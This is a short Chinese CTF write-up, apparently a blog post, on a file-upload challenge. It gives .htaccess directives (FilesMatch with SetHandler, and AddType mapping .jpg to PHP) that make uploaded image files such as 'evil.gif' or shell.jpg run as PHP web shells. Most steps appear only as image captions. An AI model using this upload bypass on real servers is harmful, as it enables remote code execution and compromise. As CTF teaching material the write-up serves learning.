.htaccess文件上传CTF讲解

.htaccess文件上传CTF详解

  • 题目
    • 解法
      • 方法2

题目

.htaccess文件上传CTF讲解_第1张图片
.htaccess文件上传CTF讲解_第2张图片

解法

我们先写一个htaccess文件
通过它调用php解析器去解析一个文件名中只要包含"haha"这个字符串的任意文件,无论扩展名是什么(没有也行),都会以php的方式来解析

<FilesMatch "haha">
 
SetHandler application/x-httpd-php
 
</FilesMatch>

或者如下,上传一个文件名为evil.gif的图片马:

<FilesMatch "evil.gif">

SetHandler application/x-httpd-php

</FilesMatch>

.htaccess文件上传CTF讲解_第3张图片

.htaccess文件上传CTF讲解_第4张图片
.htaccess文件上传CTF讲解_第5张图片
.htaccess文件上传CTF讲解_第6张图片
.htaccess文件上传CTF讲解_第7张图片
.htaccess文件上传CTF讲解_第8张图片
.htaccess文件上传CTF讲解_第9张图片

方法2

.htaccess文件上传CTF讲解_第10张图片
上传.htaccess文件

AddType application/x-httpd-php .jpg

.htaccess文件上传CTF讲解_第11张图片

然后上传shell.jpg即可

你可能感兴趣的:(CTF)